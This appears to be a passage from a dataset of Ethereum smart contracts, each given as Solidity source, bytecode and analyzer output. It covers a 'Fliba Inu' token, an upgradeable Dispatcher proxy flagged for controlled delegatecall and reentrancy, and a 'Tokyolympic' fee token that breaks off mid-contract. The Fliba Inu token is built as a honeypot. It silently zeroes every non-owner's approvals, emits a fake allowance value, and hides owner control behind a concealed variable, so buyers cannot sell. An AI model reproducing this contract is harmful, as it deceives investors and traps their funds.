function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract FlibaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Fliba Inu ' ;
string private _symbol = 'FLIBA ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122068943609ad7afeaf98f61f0ede6fb105c48ea3a81f30df17df4e53c1b91ded5b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,926 |
0xbbd3c0c794f40c4f993b03f65343acc6fcfcb2e2
|
pragma solidity 0.7.0;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
interface ERCProxy {
function proxyType() external pure returns (uint256);
function implementation() external view returns (address);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract Upgradeable is Ownable {
event StateVerified(address indexed testTarget, address sender);
event UpgradeFinished(address indexed target, address sender);
/**
* @dev Contracts at the target must reserve the same location in storage for this address as in Dispatcher
* Stored data actually lives in the Dispatcher
* However the storage layout is specified here in the implementing contracts
*/
address public target;
/**
* @dev Previous contract address (if available). Used for rollback
*/
address public previousTarget;
/**
* @dev Upgrade status. Explicit `uint8` type is used instead of `bool` to save gas by excluding 0 value
*/
uint8 public isUpgrade;
/**
* @dev Guarantees that next slot will be separated from the previous
*/
uint256 stubSlot;
/**
* @dev Constants for `isUpgrade` field
*/
uint8 constant UPGRADE_FALSE = 1;
uint8 constant UPGRADE_TRUE = 2;
/**
* @dev Checks that function executed while upgrading
* Recommended to add to `verifyState` and `finishUpgrade` methods
*/
modifier onlyWhileUpgrading()
{
require(isUpgrade == UPGRADE_TRUE);
_;
}
/**
* @dev Method for verifying storage state.
* Should check that new target contract returns right storage value
*/
function verifyState(address _testTarget) public virtual onlyWhileUpgrading {
emit StateVerified(_testTarget, msg.sender);
}
/**
* @dev Copy values from the new target to the current storage
* @param _target New target contract address
*/
function finishUpgrade(address _target) public virtual onlyWhileUpgrading {
emit UpgradeFinished(_target, msg.sender);
}
/**
* @dev Base method to get data
* @param _target Target to call
* @param _selector Method selector
* @param _numberOfArguments Number of used arguments
* @param _argument1 First method argument
* @param _argument2 Second method argument
* @return memoryAddress Address in memory where the data is located
*/
function delegateGetData(
address _target,
bytes4 _selector,
uint8 _numberOfArguments,
bytes32 _argument1,
bytes32 _argument2
)
internal returns (bytes32 memoryAddress)
{
assembly {
memoryAddress := mload(0x40)
mstore(memoryAddress, _selector)
if gt(_numberOfArguments, 0) {
mstore(add(memoryAddress, 0x04), _argument1)
}
if gt(_numberOfArguments, 1) {
mstore(add(memoryAddress, 0x24), _argument2)
}
switch delegatecall(gas(), _target, memoryAddress, add(0x04, mul(0x20, _numberOfArguments)), 0, 0)
case 0 {
revert(memoryAddress, 0)
}
default {
returndatacopy(memoryAddress, 0x0, returndatasize())
}
}
}
/**
* @dev Call "getter" without parameters.
* Result should not exceed 32 bytes
*/
function delegateGet(address _target, bytes4 _selector)
internal returns (uint256 result)
{
bytes32 memoryAddress = delegateGetData(_target, _selector, 0, 0, 0);
assembly {
result := mload(memoryAddress)
}
}
/**
* @dev Call "getter" with one parameter.
* Result should not exceed 32 bytes
*/
function delegateGet(address _target, bytes4 _selector, bytes32 _argument)
internal returns (uint256 result)
{
bytes32 memoryAddress = delegateGetData(_target, _selector, 1, _argument, 0);
assembly {
result := mload(memoryAddress)
}
}
/**
* @dev Call "getter" with two parameters.
* Result should not exceed 32 bytes
*/
function delegateGet(
address _target,
bytes4 _selector,
bytes32 _argument1,
bytes32 _argument2
)
internal returns (uint256 result)
{
bytes32 memoryAddress = delegateGetData(_target, _selector, 2, _argument1, _argument2);
assembly {
result := mload(memoryAddress)
}
}
}
contract Dispatcher is Upgradeable, ERCProxy {
using Address for address;
event Upgraded(address indexed from, address indexed to, address owner);
event RolledBack(address indexed from, address indexed to, address owner);
/**
* @dev Set upgrading status before and after operations
*/
modifier upgrading()
{
isUpgrade = UPGRADE_TRUE;
_;
isUpgrade = UPGRADE_FALSE;
}
/**
* @param _target Target contract address
*/
constructor(address _target) upgrading {
require(_target.isContract());
// Checks that target contract inherits Dispatcher state
verifyState(_target);
// `verifyState` must work with its contract
verifyUpgradeableState(_target, _target);
target = _target;
finishUpgrade();
emit Upgraded(address(0), _target, msg.sender);
}
//------------------------ERC897------------------------
/**
* @notice ERC897, whether it is a forwarding (1) or an upgradeable (2) proxy
*/
function proxyType() external pure override returns (uint256) {
return 2;
}
/**
* @notice ERC897, gets the address of the implementation where every call will be delegated
*/
function implementation() external view override returns (address) {
return target;
}
//------------------------------------------------------------
/**
* @notice Verify new contract storage and upgrade target
* @param _target New target contract address
*/
function upgrade(address _target) public onlyOwner upgrading {
require(_target.isContract());
// Checks that target contract has "correct" (as much as possible) state layout
verifyState(_target);
//`verifyState` must work with its contract
verifyUpgradeableState(_target, _target);
if (target.isContract()) {
verifyUpgradeableState(target, _target);
}
previousTarget = target;
target = _target;
finishUpgrade();
emit Upgraded(previousTarget, _target, msg.sender);
}
/**
* @notice Rollback to previous target
* @dev Test storage carefully before upgrade again after rollback
*/
function rollback() public onlyOwner upgrading {
require(previousTarget.isContract());
emit RolledBack(target, previousTarget, msg.sender);
// should be always true because layout previousTarget -> target was already checked
// but `verifyState` is not 100% accurate so check again
verifyState(previousTarget);
if (target.isContract()) {
verifyUpgradeableState(previousTarget, target);
}
target = previousTarget;
previousTarget = address(0);
finishUpgrade();
}
/**
* @dev Call verifyState method for Upgradeable contract
*/
function verifyUpgradeableState(address _from, address _to) private {
(bool callSuccess,) = _from.delegatecall(abi.encodeWithSelector(this.verifyState.selector, _to));
require(callSuccess);
}
/**
* @dev Call finishUpgrade method from the Upgradeable contract
*/
function finishUpgrade() private {
(bool callSuccess,) = target.delegatecall(abi.encodeWithSelector(this.finishUpgrade.selector, target));
require(callSuccess);
}
function verifyState(address _testTarget) public override onlyWhileUpgrading {
//checks equivalence accessing state through new contract and current storage
require(address(uint160(delegateGet(_testTarget, this.owner.selector))) == owner());
require(address(uint160(delegateGet(_testTarget, this.target.selector))) == target);
require(address(uint160(delegateGet(_testTarget, this.previousTarget.selector))) == previousTarget);
require(uint8(delegateGet(_testTarget, this.isUpgrade.selector)) == isUpgrade);
}
/**
* @dev Override function using empty code because no reason to call this function in Dispatcher
*/
function finishUpgrade(address) public override {}
/**
* @dev Receive function sends empty request to the target contract
*/
receive() external payable {
assert(target.isContract());
// execute receive function from target contract using storage of the dispatcher
(bool callSuccess,) = target.delegatecall("");
if (!callSuccess) {
revert();
}
}
/**
* @dev Fallback function sends all requests to the target contract
*/
fallback() external payable {
assert(target.isContract());
// execute requested function from target contract using storage of the dispatcher
(bool callSuccess,) = target.delegatecall(msg.data);
if (callSuccess) {
// copy result of the request to the return data
// we can use the second return value from `delegatecall` (bytes memory)
// but it will consume a little more gas
assembly {
returndatacopy(0x0, 0x0, returndatasize())
return(0x0, returndatasize())
}
} else {
revert();
}
}
}
|
0x6080604052600436106100c65760003560e01c80638f32d59b1161007f578063d4b8399211610059578063d4b839921461031e578063e38a303b14610333578063e8dccd061461035e578063f2fde38b1461039157610145565b80638f32d59b146102ad5780639afd9d78146102d6578063b9626d21146102eb57610145565b80630900f010146101e15780634555d5c9146102165780634b2cd1181461023d5780635c60da1b1461026e578063715018a6146102835780638da5cb5b1461029857610145565b36610145576001546100e0906001600160a01b03166103c4565b6100e657fe5b6001546040516000916001600160a01b03169082818181855af49150503d806000811461012f576040519150601f19603f3d011682016040523d82523d6000602084013e610134565b606091505b505090508061014257600080fd5b50005b60015461015a906001600160a01b03166103c4565b61016057fe5b6001546040516000916001600160a01b031690829036908083838082843760405192019450600093509091505080830381855af49150503d80600081146101c3576040519150601f19603f3d011682016040523d82523d6000602084013e6101c8565b606091505b5050905080156101dc573d6000803e3d6000f35b600080fd5b3480156101ed57600080fd5b506102146004803603602081101561020457600080fd5b50356001600160a01b0316610400565b005b34801561022257600080fd5b5061022b610511565b60408051918252519081900360200190f35b34801561024957600080fd5b50610252610516565b604080516001600160a01b039092168252519081900360200190f35b34801561027a57600080fd5b50610252610525565b34801561028f57600080fd5b50610214610534565b3480156102a457600080fd5b5061025261058f565b3480156102b957600080fd5b506102c261059e565b604080519115158252519081900360200190f35b3480156102e257600080fd5b506102146105af565b3480156102f757600080fd5b506102146004803603602081101561030e57600080fd5b50356001600160a01b03166106c7565b34801561032a57600080fd5b506102526107a2565b34801561033f57600080fd5b506103486107b1565b6040805160ff9092168252519081900360200190f35b34801561036a57600080fd5b506102146004803603602081101561038157600080fd5b50356001600160a01b031661079f565b34801561039d57600080fd5b50610214600480360360208110156103b457600080fd5b50356001600160a01b03166107c1565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906103f857508115155b949350505050565b61040861059e565b61041157600080fd5b6002805460ff60a01b1916600160a11b1790556104366001600160a01b0382166103c4565b61043f57600080fd5b610448816106c7565b61045281826107db565b600154610467906001600160a01b03166103c4565b1561048257600154610482906001600160a01b0316826107db565b60018054600280546001600160a01b038084166001600160a01b0319928316179092559091169083161790556104b66108c7565b6002546040805133815290516001600160a01b038085169316917f354bd4b6eb65d64e6c79c53fa4f983a5e6bec4824ce4627c71be0b2722f4917e919081900360200190a3506002805460ff60a01b1916600160a01b179055565b600290565b6002546001600160a01b031681565b6001546001600160a01b031690565b61053c61059e565b61054557600080fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b6105b761059e565b6105c057600080fd5b6002805460ff60a01b1916600160a11b17908190556105e7906001600160a01b03166103c4565b6105f057600080fd5b6002546001546040805133815290516001600160a01b039384169392909216917f86e04d1de380d22833cb4409f3ee7c6ad818a8d8387a83b6371f5ce018ddc1549181900360200190a360025461064f906001600160a01b03166106c7565b600154610664906001600160a01b03166103c4565b1561068557600254600154610685916001600160a01b0390811691166107db565b60028054600180546001600160a01b03199081166001600160a01b038416179091551690556106b26108c7565b6002805460ff60a01b1916600160a01b179055565b60028054600160a01b900460ff16146106df57600080fd5b6106e761058f565b6001600160a01b031661070182638da5cb5b60e01b6109ad565b6001600160a01b03161461071457600080fd5b6001546001600160a01b031661073182636a5c1cc960e11b6109ad565b6001600160a01b03161461074457600080fd5b6002546001600160a01b0316610761826309659a2360e31b6109ad565b6001600160a01b03161461077457600080fd5b600254600160a01b900460ff166107928263e38a303b60e01b6109ad565b60ff161461079f57600080fd5b50565b6001546001600160a01b031681565b600254600160a01b900460ff1681565b6107c961059e565b6107d257600080fd5b61079f816109c6565b604080516001600160a01b0383811660248084019190915283518084039091018152604490920183526020820180516001600160e01b031663b9626d2160e01b17815292518251600094928716939282918083835b6020831061084f5780518252601f199092019160209182019101610830565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146108af576040519150601f19603f3d011682016040523d82523d6000602084013e6108b4565b606091505b50509050806108c257600080fd5b505050565b600154604080516001600160a01b03909216602480840182905282518085039091018152604490930182526020830180516001600160e01b031663746e668360e11b17815291518351600094929382918083835b6020831061093a5780518252601f19909201916020918201910161091b565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461099a576040519150601f19603f3d011682016040523d82523d6000602084013e61099f565b606091505b505090508061079f57600080fd5b6000806109bd8484838080610a34565b51949350505050565b6001600160a01b0381166109d957600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6040518481528315610a47578260048201525b6001841115610a57578160248201525b6000808560200260040183895af48015610a75573d6000833e610a7a565b600082fd5b509594505050505056fea264697066735822122062c1e84b5f1f3effe1c0e4adbbd785ad950c738ea87a7aaef091add4452a9cbd64736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 7,927 |
0x82161f1bCA384a09D91eE34dD58D3FF02F739d01
|
/*
%%%%%%%%%%%%%%%%%%%%%%%%%%
%%% TOKYOLYMPIC $TKYO %%%
%%%%%%%%%%%%%%%%%%%%%%%%%%
This is the people’s crypto currency of the 2021 Tokyo Olympic Games! Everyone should have a chance to win a gold medal, right? Now you can!
$TKYO is the people’s Olympic crypto currency token!
Go for GOLD!
FASTER. HIGHER. STRONGER - TOGETHER!
Official Website :
------------------
https://tokyolympic.io
Official Social Platforms :
---------------------------
Telegram : https://t.me/TokyoLympic_Official_chat
Twitter : https://twitter.com/Tokyolympics1
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Tokyolympic is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Tokyolympic";
string private constant _symbol = "TKYO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisT = 1;
uint256 private _edistT = 12;
uint256 private _previousredisT = _redisT;
uint256 private _previousedistT = _edistT;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
